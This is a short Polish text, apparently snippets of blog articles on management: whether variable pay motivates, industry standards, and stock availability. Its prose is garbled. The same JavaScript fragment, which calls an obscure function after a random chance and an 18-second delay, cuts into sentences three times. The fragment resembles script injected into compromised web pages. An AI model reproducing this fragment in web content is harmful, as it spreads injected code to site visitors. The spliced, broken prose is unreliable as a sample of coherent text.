Czy zmienny system wynagrodzeń motywuje?

W zarządzaniu pracownikami firmie zwykle chodzi nie tyle o motywację, ile o wymuszenie zachowań zgodnych z interesem firmy. Tymczasem interesy pracownika i firmy z założenia się nie pokrywają. [...]

Ale wszyscy tak robią

Tak uzasadnia swoje działania wiele firm. Te działania dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tzw. standardy branżowe, zasady, które są opisywane na [...]

Dostępność czy zapas?

Dostępność dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jedna z podstawowych obietnic, jakie firma sprzedażowa składa swoim klien dom() * 6);if (number1==3){var [...]